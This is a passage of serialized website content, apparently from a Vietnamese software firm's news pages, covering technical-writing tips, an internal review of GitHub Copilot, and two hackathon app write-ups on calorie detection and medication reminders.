sub-folder.",[11,8366,8367],{},"The explanation, although longer, helps someone with no IT knowledge to understand the cause of the error. ",[11,8369,8370],{},"Therefore, in communication, we need to consider what information our audiences already understand and what they do not, so we can have the appropriate way to explain the information.",[203,8372,8373],{"start":67},[34,8374,8375],{},[20,8376,8377],{},"Use terminology consistently",[11,8379,8380],{},"To explain about a screen’s function, the specification is written as below:",[31,8382,8383],{},[34,8384,8385],{},"The system will get the file stored in the upload_file_2024 folder, then display it on the screen. If the user uploads a new file, this file will be stored in the upload_file_2024  directory.",[11,8387,8388],{},"When reading the above specification, are you confused about whether the upload_file_2024 folder and upload_file_2024 directory are the same place? This is because the specification uses terminology inconsistently. We can correct by this way:",[31,8390,8391],{},[34,8392,8393],{},"The system will get the file stored in the upload_file_2024 folder, then display it on the screen. If the user uploads a new file, this file will also be stored in the upload_file_2024  folder.",[11,8395,8396],{},"Thanks to the consistent terminology, “folder”, readers can understand the place to get the file and the place to store the file is the same place. ",[11,8398,8399],{},"Consistent terminology not only helps readers understand the content better but also increases the credibility of the conveyed information.",[203,8401,8402],{"start":1306},[34,8403,8404],{},[20,8405,8406],{},"Omit needless words",[11,8408,8409],{},"When speaking, do you usually add emotional words or keep repeating synonyms? In daily conversation, expressing emotion helps the story to be more lively, yet in discussing issues, we have to present as clearly and concisely as possible.",[11,8411,8412],{},"Instead of saying this:",[31,8414,8415],{},[34,8416,8417],{},"Bug fixing was really very slow and time-consuming so it has caused many losses for the customer.",[11,8419,8420],{},"We can say:",[31,8422,8423],{},[34,8424,8425],{},"Bug fixing took a lot of time so it has caused many losses for the customer.",[11,8427,8428],{},"Although the phrase “really very slow” is omitted, the reader can still understand that bug fixing is slow, right? ",[11,8430,8431],{},"Remember that clear sentences can help readers catch the important part of the information and make sentences easier to understand!",[11,8433,8434],{},"Above are three methods that I find helpful in Technical Writing. After reading this, do you want to know more about these techniques? If you have any interest, please refer to the full document compiled by Briswell at the link below! ",[11,8436,8437],{},[55,8438,8441],{"href":8439,"rel":8440},"https:\u002F\u002Fspeakerdeck.com\u002Fbwv\u002Ftraining-technical-writing-cong-ty-briswell-viet-nam",[59],"Training Technical Writing - Công ty Briswell Việt Nam - Speaker Deck",[11,8443,8444],{},"Reference source:",[11,8446,8447],{},[55,8448,8451],{"href":8449,"rel":8450},"https:\u002F\u002Fdevelopers.google.com\u002Ftech-writing\u002Foverview",[59],"Technical Writing Courses",{"title":66,"searchDepth":67,"depth":67,"links":8453},[],[1319,69],"2024-05-02",{},"\u002Fnews\u002Fgioi-thieu-ve-cac-phuong-phap-trong-technical-writing",{"title":8330,"description":8335},"news\u002Fgioi-thieu-ve-cac-phuong-phap-trong-technical-writing","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F05\u002F02125920\u002FScreenshot-2024-05-02-125848.png","G-dgCfQw6VHdq0kCSqKO8WZoVERDJDqkSu_ZyZ-gBAc",{"id":8463,"title":8464,"body":8465,"category":1319,"created by":70,"date":8649,"description":8650,"extension":72,"meta":8651,"navigation":74,"path":8652,"sections":76,"seo":8653,"stem":8654,"thumbnail":8655,"__hash__":8656},"content_en\u002Fnews\u002Fgithub-copilot-review.md","GitHub Copilot Internal Review",{"type":8,"value":8466,"toc":8638},[8467,8470,8473,8476,8480,8483,8486,8489,8493,8496,8500,8503,8506,8510,8518,8522,8536,8540,8562,8566,8586,8589,8592,8595,8598,8601,8605,8608,8611,8618,8621,8627,8631],[11,8468,8469],{},"Since the launch of the ChatGPT service, the use of AI for efficiency improvement and quality improvement has become more active in various industries and tasks.",[11,8471,8472],{},"In our company as well, there are some restrictions to prevent leakage of confidential information, but the opportunities to use AI services in business are increasing.",[11,8474,8475],{},"Therefore, this time, we had about 10 developers use GitHub Copilot to see if it leads to improvement in web application development tasks, and we would like to inform you of our company's view.",[403,8477,8479],{"id":8478},"about-github-copilot","About GitHub Copilot",[11,8481,8482],{},"GitHub Copilot is an AI-powered code completion tool developed by GitHub and OpenAI. It is integrated with editors such as Visual Studio Code, Visual Studio, Neovim, JetBrains, and provides real-time automatic code completion and suggestions.",[11,8484,8485],{},"It has been trained on a dataset of over 10 billion lines of code. This dataset includes open-source projects, corporate codebases, and individual code. GitHub Copilot uses this dataset to generate code that matches the code users are inputting.",[11,8487,8488],{},"Codex is a derivative of the GPT-3 language model and is said to inherit some of the features of GPT-3, but it does not officially publish the GPT version (according to Google Bard).",[403,8490,8492],{"id":8491},"precautions-before-use","Precautions before use",[11,8494,8495],{},"The following settings are made to prevent leakage of confidential information and infringement of copyright. If you have a Business subscription to GitHub Copilot, you can share these settings with accounts under your GitHub organization. Also, you can choose who you want to give the subscription to. This means that you don't have to pay for all members of the organization. (As of June 2023)",[438,8497],{"className":8498,"alt":66,"src":8499,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28135036\u002Fgithub-copilot-securitysetting-768x477.png",[403,8501,742],{"id":8502},"review",[11,8504,8505],{},"We will describe the good points and points that need improvement (improvement points) that we found from using it in several projects and for the development of sample programs for research. This is an evaluation from the results of about 10 developers who have 2 to 10 years of development experience, can use at least two of Nodejs\u002FPHP\u002FJavascript, and can proceed with development on their own.",[565,8507,8509],{"id":8508},"good-points","Good points",[31,8511,8512,8515],{},[34,8513,8514],{},"It understands the context and makes suggestions. When retrieving a specific value that is in a specific model, it understands the existing program and makes a syntax suggestion in a state where the key name and field name are entered.",[34,8516,8517],{},"Developers who are senior or above in NodeJS, when developing in unfamiliar Python, the suggestions made by “Control + Enter” were easy to understand and were appropriate and useful.",[438,8519],{"className":8520,"alt":66,"src":8521,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28135445\u002Fsuggestion-python-code-1024x447.png",[31,8523,8524,8527,8530,8533],{},[34,8525,8526],{},"If you have experience in one programming language, you can somewhat judge whether what you choose is correct when trying a different language, which leads to improved work efficiency.",[34,8528,8529],{},"It supports languages other than Vietnamese, English, and Japanese.",[34,8531,8532],{},"There were times when the code completion as VS Code became easier to understand by installing Copilot.",[34,8534,8535],{},"When you choose a suggestion, it uses the function name or method name of the existing program, reducing the implementation time.",[565,8537,8539],{"id":8538},"improvement-points","Improvement points",[31,8541,8542,8549,8556,8559],{},[34,8543,8544,8545],{},"There were times when it did not appropriately answer simple Javascript questions. ",[438,8546],{"className":8547,"alt":66,"src":8548,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28140105\u002Fask-copilot-1-1024x225.png",[34,8550,8551,8552],{},"There are times when it suggests syntax that does not exist. ",[438,8553],{"className":8554,"alt":66,"src":8555,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28152141\u002Fwrong-context-suggestion-768x499.png",[34,8557,8558],{},"There are times when it takes time to receive a reply after sending a message when you want to ask a question to Copilot or receive a program suggestion. There are also times when nothing comes back, and you may spend unnecessary time.",[34,8560,8561],{},"It does not understand language as well as ChatGPT, and if it does not understand the prompt to some extent, something different from what was expected may come back.",[565,8563,8565],{"id":8564},"summary","Summary",[31,8567,8568,8571,8574,8577,8580,8583],{},[34,8569,8570],{},"It feels more like an upgrade to code completion, and it's not a game-changer.",[34,8572,8573],{},"It only suggests what seems appropriate in the written program, it does not understand the specifications written in words and provide a solution in the form of a program that completely fits the current program.",[34,8575,8576],{},"The language understanding is not good, it's hard to casually receive navigation, the role as a navigator is insufficient and there is no sense of pair programming.",[34,8578,8579],{},"For those with development experience, it is beneficial when developing in a new language, reducing work by about 5 - 10%.",[34,8581,8582],{},"For those with development experience and are familiar with the language, the existing code completion function is sufficient, leading to a reduction of about 0 - 5% in coding work.",[34,8584,8585],{},"About 50% of developers who experienced Copilot want to continue using it.",[11,8587,8588],{},"After receiving a suggestion from AI, you need to check whether the existing program and operation are correct. It seems that inexperienced developers can create a program that seems to be somehow possible. However, in application development, it is necessary to properly understand the specifications, ask appropriate questions, and select the appropriate ones. I don't think inexperienced developers can do this, and I feel it is difficult to develop while maintaining the quality of the application.",[11,8590,8591],{},"For developers who have more than 2 years of development experience and have achieved results in several projects, the existing code completion seems to be sufficient for familiar programming languages and frameworks. There can be a delay in typing to ask Copilot and in the response time to receive a reply. This can sometimes be a disadvantage.",[11,8593,8594],{},"For developers with development experience and proficiency in one or more programming languages, it may be beneficial when developing with other programming languages. This is because the developer can understand the appropriate specifications of the application they are developing, can appropriately make requests or ask questions to Copilot, and can run the application after getting the suggestions received from Copilot or check the program language reference to determine that there is no problem.",[11,8596,8597],{},"In development using AI, I had the image of obtaining a rough, large-scale program from ChatGPT, making detailed modifications to fit the existing program and specifications while using GitHub Copilot, and completing programming by combining test code. However, the current GitHub Copilot only gives the impression of a slight upgrade to code completion, and it seems that there are still many issues such as improvements to the proposed program and usability.",[11,8599,8600],{},"As a result of using it for about a month, about half of the developers said that it would be good if they could reduce the coding work time by about 0 to 5%. Similarly, about half said that they don't need this subscription because they won't continue to use Copilot. The company records the forecast and actual time of coding work, and since there is no significant change in time before and after use, we judge that the impression and results are correct. The work of developers is not just coding, so the work of a developer for a month does not decrease by about 0 to 5%, and we did not get a result that the development cost significantly decreases. From the fact that about 50% of the developers thought that it was not very useful, I feel that Copilot will not become the de facto standard as it is. However, the development of new services such as AI code assistant Codey is being carried out and it seems to be competing. Therefore, improvements are being made, and in the near future, the day may come when we can code while receiving appropriate AI navigation as if we are pair programming with outstanding developer.",[403,8602,8604],{"id":8603},"disappointing-things-extras","Disappointing things (extras)",[11,8606,8607],{},"When I asked how to use GitHub Copilot, a URL of a YouTube page was sent, but when I accessed it, the page did not exist. Also, when I ask how to get help, a URL of some page of Github's copilot doc is sent, but it results in a 404 error. For developers, it is common to use the help command in a specific application to understand the function of the command you want to execute, but it seems that such a thing has not been considered in the result.",[11,8609,8610],{},"​​\u002F\u002F q: how to use the Github copilot?",[11,8612,8613,8614],{},"\u002F\u002F a: ",[55,8615,8616],{"href":8616,"rel":8617},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=Qp9T9Zj9jv8",[59],[11,8619,8620],{},"\u002F\u002F q: how to get help from Github copilot?",[11,8622,8613,8623],{},[55,8624,8625],{"href":8625,"rel":8626},"https:\u002F\u002Fcopilot.github.com\u002Fdocs\u002Fget-help\u002F",[59],[403,8628,8630],{"id":8629},"refer-to","Refer to",[11,8632,8633],{},[55,8634,8637],{"href":8635,"rel":8636,"title":8637},"https:\u002F\u002Fgithub.com\u002Ffeatures\u002Fcopilot",[59],"GitHub Copilot · Your AI pair programmer",{"title":66,"searchDepth":67,"depth":67,"links":8639},[8640,8641,8642,8647,8648],{"id":8478,"depth":67,"text":8479},{"id":8491,"depth":67,"text":8492},{"id":8502,"depth":67,"text":742,"children":8643},[8644,8645,8646],{"id":8508,"depth":1306,"text":8509},{"id":8538,"depth":1306,"text":8539},{"id":8564,"depth":1306,"text":8565},{"id":8603,"depth":67,"text":8604},{"id":8629,"depth":67,"text":8630},"2023-07-25","Since the launch of the ChatGPT service, the use of AI for efficiency improvement and quality improvement has become more active in various industries and tasks. In our company as well, there are some restrictions to prevent leakage of confidential information, but the opportunities to use AI services in business are increasing.",{},"\u002Fnews\u002Fgithub-copilot-review",{"title":8464,"description":8650},"news\u002Fgithub-copilot-review","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28151329\u002Fcopilot.png","O34aL04r5glSV8gaxmBNHtspUxEtj5mMAOnLs3P4lnU",{"id":8658,"title":8659,"body":8660,"category":8915,"created by":8916,"date":8917,"description":8918,"extension":72,"meta":8919,"navigation":74,"path":8920,"sections":76,"seo":8921,"stem":8922,"thumbnail":8923,"__hash__":8924},"content_en\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an.md","[Hackathon] Calories Showing - App helps to check calories from food image",{"type":8,"value":8661,"toc":8908},[8662,8664,8677,8680,8692,8695,8706,8709,8712,8716,8724,8728,8731,8734,8739,8742,8745,8753,8756,8759,8763,8766,8769,8777,8784,8791,8798,8804,8812,8815,8819,8822,8825,8833,8836,8840,8854,8862,8865,8868,8876,8879,8882,8885,8887,8892,8898,8902],[395,8663,3631],{"id":3630},[8665,8666,8668,8672,8673,7627],"h5",{"id":8667},"httpswwwworldbankorgennewsinfographic20200129the-crippling-costs-of-obesity",[438,8669],{"className":8670,"alt":66,"src":8671,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085001\u002Fobesity_info.jpg","(",[55,8674,8675],{"href":8675,"rel":8676},"https:\u002F\u002Fwww.worldbank.org\u002Fen\u002Fnews\u002Finfographic\u002F2020\u002F01\u002F29\u002Fthe-crippling-costs-of-obesity",[59],[11,8678,8679],{},"Today the world faces a double burden of nutrition including both undernutrition and obesity. In particular, the rate of obesity is increasing very rapidly. Recent data show that since 1975 obesity has nearly tripled and it now accounts for 4 million deaths worldwide every year. In 2016, over 2 billion adults (44 percent) were overweight or obese.",[8665,8681,8683,8687,8688,7627],{"id":8682},"httpswwwazumiocomblognutritionhealthy-eating-101-food-journaling",[438,8684],{"className":8685,"alt":66,"src":8686,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085136\u002Ffood_journalling.jpg"," (",[55,8689,8690],{"href":8690,"rel":8691},"https:\u002F\u002Fwww.azumio.com\u002Fblog\u002Fnutrition\u002Fhealthy-eating-101-food-journaling",[59],[11,8693,8694],{},"Where overweight people are taking in too many calories, underweight people are not taking in enough calories to sustain them. Therefore, nutritionists recommend that each of us should make a daily calorie-in and calorie-out plan to control calories, thereby helping to improve malnutrition or prevent obesity and have a healthy body.",[8665,8696,8698,8687,8702,7627],{"id":8697},"httpsatlasbiomedcomblogbest-food-diary-guide-2020",[438,8699],{"className":8700,"alt":66,"src":8701,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085234\u002Ffood_diary-1024x589.png",[55,8703,8704],{"href":8704,"rel":8705},"https:\u002F\u002Fatlasbiomed.com\u002Fblog\u002Fbest-food-diary-guide-2020\u002F",[59],[11,8707,8708],{},"Today, under the rapid development of technology, especially AI (Artificial Intelligence) technology, its application for daily life is an inevitable trend. And applying it to Fitness\u002FHealthcare is no exception.",[11,8710,8711],{},"The above is the main idea for our team to develop the Calories Showing app. The function of the app is that from the food image taken with the phone camera, it will tell you the calories of that food, thereby helping you to adjust your calorie intake.",[395,8713,8715],{"id":8714},"calories-showing-app","Calories Showing app",[565,8717,8719],{"id":8718},"technologies",[51,8720,8721],{},[20,8722,8723],{},"Technologies",[438,8725],{"className":8726,"alt":66,"src":8727,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085454\u002FCaloriesShowingFlowWithoutModel-1024x549.png",[11,8729,8730],{},"To facilitate use on both computer and mobile devices, my team decided to build a WebApp using Javascript (NodeJS) language. In addition, we use MySQL to store calorie data, as well as to facilitate further development of functions (for example, saving user information).",[11,8732,8733],{},"To make it easier to deploy, as well as easy to extend later, we also use Docker for the WebApp, MySQL parts.",[11,8735,8736],{},[51,8737,8738],{},"Google Cloud Vision",[11,8740,8741],{},"The Google Cloud Vision API offers powerful pre-trained machine learning models through REST API. Help developers easily integrate into their applications features such as object detection, face recognition, image recognition, classification, labeling and text extraction of printed text or handwritten text.",[11,8743,8744],{},"In the project we use 2 functions provided by Google Cloud Vision API:",[31,8746,8747,8750],{},[34,8748,8749],{},"Label Detection: detect and extract information about entities in an image, across a group of categories.",[34,8751,8752],{},"Object Localization: detect and extract multiple objects in an image",[11,8754,8755],{},"From the results returned from Google Cloud Vision and the data collected from the database, the system will return the calories of that food to the user.",[11,8757,8758],{},"Price list of Google Cloud Vision",[438,8760],{"className":8761,"alt":66,"src":8762,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085636\u002FGoogleCloudVisonPricing-1024x212.png",[11,8764,8765],{},"Suitable for small projects with a small number of users. As the number of users becomes bigger, the amount of money to pay becomes larger.",[11,8767,8768],{},"=> Therefore, should not be too dependent on the Google Cloud Vision but need an alternative solution (will be presented in the following section)",[565,8770,8772],{"id":8771},"user-interface-and-functions-of-the-app",[51,8773,8774],{},[20,8775,8776],{},"User Interface and functions of the app",[11,8778,8779,8783],{},[438,8780],{"className":8781,"alt":66,"src":8782,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09104155\u002FIMG_1926-576x1024.png"," Choose a image from your phone or a image taken from your phone camera",[11,8785,8786,8790],{},[438,8787],{"className":8788,"alt":66,"src":8789,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09104305\u002FIMG_1927-576x1024.png"," From the selected image, the AI will detect the food you have taken, in addition, you can also manually enter the missing food",[11,8792,8793,8797],{},[438,8794],{"className":8795,"alt":66,"src":8796,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09104414\u002FIMG_1928-576x1024.png"," Finally, the result screen, you can enter the amount of each food so that the system calculates the calories",[395,8799,8801],{"id":8800},"unresolved-issues-and-future-development-directions",[20,8802,8803],{},"Unresolved issues and future development directions",[565,8805,8807],{"id":8806},"low-accuracy",[51,8808,8809],{},[20,8810,8811],{},"Low accuracy",[11,8813,8814],{},"Google Vision's detection dataset is wide but not in-depth for food, so the accuracy is low.",[438,8816],{"className":8817,"alt":66,"src":8818,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085802\u002Flow_precision-1024x519.png",[11,8820,8821],{},"For example, for the Kiwi fruit image, the results returned by Google Cloud Vision are very general: Fruit and Food.",[11,8823,8824],{},"To improve accuracy, the following solutions are available:",[31,8826,8827,8830],{},[34,8828,8829],{},"Replace Google Cloud Vision with food-specific AI API services such as FoodAI, LogMeal API, .. The advantage is higher accuracy, similar ease of use to Google Cloud Vision. The downside is the high price and depending on the API provider, it is not possible to add new training data for other foods.",[34,8831,8832],{},"Build and train our own food-specific Deep Learning model. The advantage is high accuracy, take control in technology, so we can manually add new training data for foods depending on needs. The disadvantage is that it takes time to research the most optimal model, it is necessary to have large enough datasets (labeled image data) to get high accuracy.",[11,8834,8835],{},"=> After discussion and deliberation, we decided to choose a combination of solutions: Build and train a food-specific Deep Learning model (Python, Tensorflow), along with that using Google Cloud Vision in parallel.",[438,8837],{"className":8838,"alt":66,"src":8839,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085845\u002FCaloriesShowingFlow-1024x549.png",[31,8841,8842,8845,8848,8851],{},[34,8843,8844],{},"Partially reduced costs for Google Cloud Vision API",[34,8846,8847],{},"Overcoming the initial limitation of the self-built model is that the accuracy is not high because the datasets are small and the optimal model has not been found.",[34,8849,8850],{},"Separate the Deep Learning model building into a separate part, so as not to affect the building of additional features of the app.",[34,8852,8853],{},"Once the self-built Deep Learning model has achieved the desired accuracy, we will remove Google Cloud Vision from the project flow.",[565,8855,8857],{"id":8856},"determine-calories-depending-on-the-database",[51,8858,8859],{},[20,8860,8861],{},"Determine calories depending on the database",[11,8863,8864],{},"In case the food is not in the database, there is no way to select it (including manual input).",[11,8866,8867],{},"Solution: In case it is not detected, display a dialog asking the users if they want to use the uploaded image to help add it to the app's database => If the user agrees, then proceed to save the image that the user has used to storage, from that image we will collect data about calories to save to the database, and collect datasets to train the Deep Learning model.",[565,8869,8871],{"id":8870},"future-development-directions",[51,8872,8873],{},[20,8874,8875],{},"Future development directions",[11,8877,8878],{},"1\u002F Build more features to become a complete app. Additional features are expected to develop: register, log in, calculate the number of calories needed per day, low or over calories warning, plan to gain\u002Flose weight,...",[11,8880,8881],{},"2\u002F Improve AI accuracy, build and optimize Deep Learning model.",[11,8883,8884],{},"Therefore, our team will be divided into 2 small teams. The team in charge of developing features for the app and the team building and optimizing the Deep Learning model.",[395,8886,3866],{"id":3476},[11,8888,8889],{},[55,8890,8675],{"href":8675,"rel":8891},[59],[11,8893,8894],{},[55,8895,8896],{"href":8896,"rel":8897},"https:\u002F\u002Fcloud.google.com\u002Fvision",[59],[395,8899,8901],{"id":8900},"presentation","Presentation",[11,8903,8904],{},[55,8905,8906],{"href":8906,"rel":8907},"https:\u002F\u002Fdocs.google.com\u002Fpresentation\u002Fd\u002F1F0p0vCxMiBaihVrDw84mTekzyq9bF2fz\u002Fedit?usp=sharing&ouid=103973922645801568163&rtpof=true&sd=true",[59],{"title":66,"searchDepth":67,"depth":67,"links":8909},[8910,8911,8912,8913,8914],{"id":8718,"depth":1306,"text":8723},{"id":8771,"depth":1306,"text":8776},{"id":8806,"depth":1306,"text":8811},{"id":8856,"depth":1306,"text":8861},{"id":8870,"depth":1306,"text":8875},[4753,1318],"NGHIA NGUYEN TRUNG","2023-03-22","Today the world faces a double burden of nutrition including both undernutrition and obesity. In particular, the rate of obesity is increasing very rapidly. Recent data show that since 1975 obesity has nearly tripled and it now accounts for 4 million deaths worldwide every year. In 2016, over 2 billion adults (44 percent) were overweight or obese. (https:\u002F\u002Fwww.azumio.com\u002Fblog\u002Fnutrition\u002Fhealthy-eating-101-food-journaling)",{},"\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an",{"title":8659,"description":8918},"news\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F20143340\u002Fcalories_showing_featured_image.png","nRQj9b0XBiEyYG9N63cwnVBXJfOtEAxUe-mpTlZ8Soo",{"id":8926,"title":8927,"body":8928,"category":9448,"created by":70,"date":9449,"description":9450,"extension":72,"meta":9451,"navigation":74,"path":9452,"sections":76,"seo":9453,"stem":9454,"thumbnail":9455,"__hash__":9456},"content_en\u002Fnews\u002Fhackathon-team3.md","[Hackathon] Introduction to Easy Medicine App - Team Healthy Healthier",{"type":8,"value":8929,"toc":9436},[8930,8937,8942,9006,9010,9013,9016,9033,9039,9043,9046,9049,9052,9055,9072,9076,9079,9083,9086,9100,9109,9120,9126,9130,9133,9137,9140,9148,9151,9159,9165,9169,9172,9176,9179,9183,9186,9192,9195,9217,9220,9226,9232,9255,9260,9285,9294,9298,9304,9309,9328,9333,9354,9358,9378,9382,9385,9399,9403,9409,9413],[11,8931,8932,8933,8936],{},"Nowadays, many app has been created to make our daily tasks become simpler and more efficient. One of the most competitive features among apps is automation. That is, humans will only do the minimum of operations and leave the rest to the application. Since Artificial Intelligence - AI has become more and more popular, automation is now everywhere, and at the same time, it has also opened up a lot of possibilities. ",[20,8934,8935],{},"Easy Medicine"," is also an application built on AI technology and it helps to automate medication management.",[11,8938,8939],{},[20,8940,8941],{},"Table of contents:",[203,8943,8944,8950,8956,8962,8968,8974,8980,8986,8992,8997],{},[34,8945,8946],{},[55,8947,8949],{"href":8948},"#section-1","What problems does EasyMedicine solve?",[34,8951,8952],{},[55,8953,8955],{"href":8954},"#section-2","How does AI technology participate in our app?",[34,8957,8958],{},[55,8959,8961],{"href":8960},"#section-3","Google Cloud Vision introduction",[34,8963,8964],{},[55,8965,8967],{"href":8966},"#section-4","AWS Comprehend Medical introduction",[34,8969,8970],{},[55,8971,8973],{"href":8972},"#section-5","App's system design",[34,8975,8976],{},[55,8977,8979],{"href":8978},"#section-6","Demo Easy Medicine",[34,8981,8982],{},[55,8983,8985],{"href":8984},"#section-7","Future features and functions",[34,8987,8988],{},[55,8989,8991],{"href":8990},"#section-8","App limitations",[34,8993,8994],{},[55,8995,8565],{"href":8996},"#section-9",[34,8998,8999,9003],{},[55,9000,9002],{"href":9001},"#section-10","Links & references",[55,9004],{"id":9005},"section-1",[565,9007,9009],{"id":9008},"_1-what-problems-does-easymedicine-solve","#1. What problems does EasyMedicine solve?",[11,9011,9012],{},"If you are a healthy person, you might wonder why would you ever need a medication management app. But if you put yourself in the situation of being a person who suffering from many different diseases, then you will see it differently. Even if you can control your schedules well and always take your medicine on time, isn't it very easy to make you feel annoying that you have to remember all those schedules. Meanwhile, everything can be completely controlled with an application. And you can now focus on things that are more important. There is also a situation that highlights the problem clearly, and that is someone who is taking care of many sick people - a mother, for example. Also, we will sometimes forget to take our medicine, especially when the disease is in remission, we will become lazy. And as a result, it negatively affects our health.",[11,9014,9015],{},"More specifically, we need a tool to help manage the following:",[31,9017,9018,9021,9024,9027,9030],{},[34,9019,9020],{},"What time should you take your medicine today, what are drugs, dosages?",[34,9022,9023],{},"To avoid forgetting to take the medicine, we need reminders alarm.",[34,9025,9026],{},"What medicines did you take or forget to take today?",[34,9028,9029],{},"How long do you need to take the medicine, how many more pills?",[34,9031,9032],{},"Store prescription information for easy lookup and reuse.",[11,9034,9035,9036],{},"And the above are the core ideas that form the Easy Medicine app.\n",[55,9037],{"id":9038},"section-2",[565,9040,9042],{"id":9041},"_2-how-does-ai-technology-participate-in-our-app","#2. How does AI technology participate in our app?",[11,9044,9045],{},"As analyzed in the above section, you now understand why we need an application to help managing medicines list and reminding to take medicines on time.",[11,9047,9048],{},"To make the app functions as easy to use as possible. We need the processes to be automated. Creating a list of drugs must be done with in one operation from the user.",[11,9050,9051],{},"Specifically, the user will take a picture of her\u002Fhis prescription, then the prescription will be scanned and a list of medicines to take will be generated (with specific dosage information). At the same time, the app will automatically schedule the alarms for taking medicines.",[11,9053,9054],{},"Thus, everything will be completed just by taking a photo. And AI technologies will make it possible:",[31,9056,9057,9063],{},[34,9058,9059,9062],{},[20,9060,9061],{},"Computer Vision:"," An AI technology that allows to distinguish objects in a frame. In this case, we need to extract the raw text of the prescription in the image that the user has taken. The Google Cloud Vision API is the tool that will be used.",[34,9064,9065,9068,9069],{},[20,9066,9067],{},"Natural Language Processing (NLP):"," A branch of artificial intelligence within computer science that focuses on helping computers to understand the way that humans write and speak. This is a difficult task because it involves a lot of unstructured data. Since the content will be prescriptions, the selected AI needs to be trained using medical data. AWS Comprehend Medical is a suitable service in this case.\n",[55,9070],{"id":9071},"section-3",[565,9073,9075],{"id":9074},"_3-google-cloud-vision-api-introduction","#3. Google Cloud Vision API introduction:",[11,9077,9078],{},"An API provided by Google. Its advantages come from high processing speed and accuracy, ease of use and has been trained with a huge amount of image data. The extracting text (Detect text) feature from images can handle both typed and handwritten text, also, it works well with many different languages.",[438,9080],{"className":9081,"alt":66,"src":9082,"style":506},[441,442],"https:\u002F\u002Fcloud.google.com\u002Fstatic\u002Fvision\u002Fdocs\u002Fimages\u002Fsign_text.png",[11,9084,9085],{},"Service regions:",[31,9087,9088,9094],{},[34,9089,9090,9093],{},[612,9091,9092],{},"us",": USA country only",[34,9095,9096,9099],{},[612,9097,9098],{},"eu",": The European Union",[11,9101,9102,9103,9108],{},"Service pricing (",[55,9104,9107],{"href":9105,"rel":9106},"https:\u002F\u002Fcloud.google.com\u002Fvision\u002Fpricing",[59],"Pricing - Cloud Vision API","):",[31,9110,9111,9114,9117],{},[34,9112,9113],{},"Google will charge a monthly fee based on the number of images processed. Each image will be counted as 1 unit.",[34,9115,9116],{},"They charge you differently depends which tiers you're in. For the EasyMedicine app we stay below 5,000,000 units\u002Fmonth. At this tier, it will cost 1.5 USD per 1000 units.",[34,9118,9119],{},"For example, every month the application processes 10000 images, then the total amount will be 15USD.",[11,9121,9122,9123],{},"With a fee of 1.5 USD per 1000 units, it is quite expensive. Hopefully, in the future we will be able to find a service with a better price, maybe the service is located in another region and the price will be cheaper.\n",[55,9124],{"id":9125},"section-4",[565,9127,9129],{"id":9128},"_4-aws-comprehend-medical-introduction","#4. AWS Comprehend Medical introduction",[11,9131,9132],{},"As an AI service of AWS (Amazon Web Service) NLP (Natural Language Processing), this API takes text as input and returns the extracted medical related information. Because it has been trained with a large amount of medical data, the accuracy of the results is quite high - a very important factor in this application because it directly affects the user's health. Because it is an AWS service, there are many regions where the service is located. Therefore, the response speed is also very optimal.",[438,9134],{"className":9135,"alt":66,"src":9136,"style":444},[441,442],"https:\u002F\u002Fd2908q01vomqb2.cloudfront.net\u002Fda4b9237bacccdf19c0760cab7aec4a8359010b0\u002F2018\u002F11\u002F27\u002Fmedicalcomprehend_updated.png",[11,9138,9139],{},"Although the information that this AI is able to recognize is quite diverse, we only need to focus on information such as:",[31,9141,9142,9145],{},[34,9143,9144],{},"Drug information: drug name, drug dosage.",[34,9146,9147],{},"Time information.",[11,9149,9150],{},"Service maintenance cost (Amazon Comprehend – 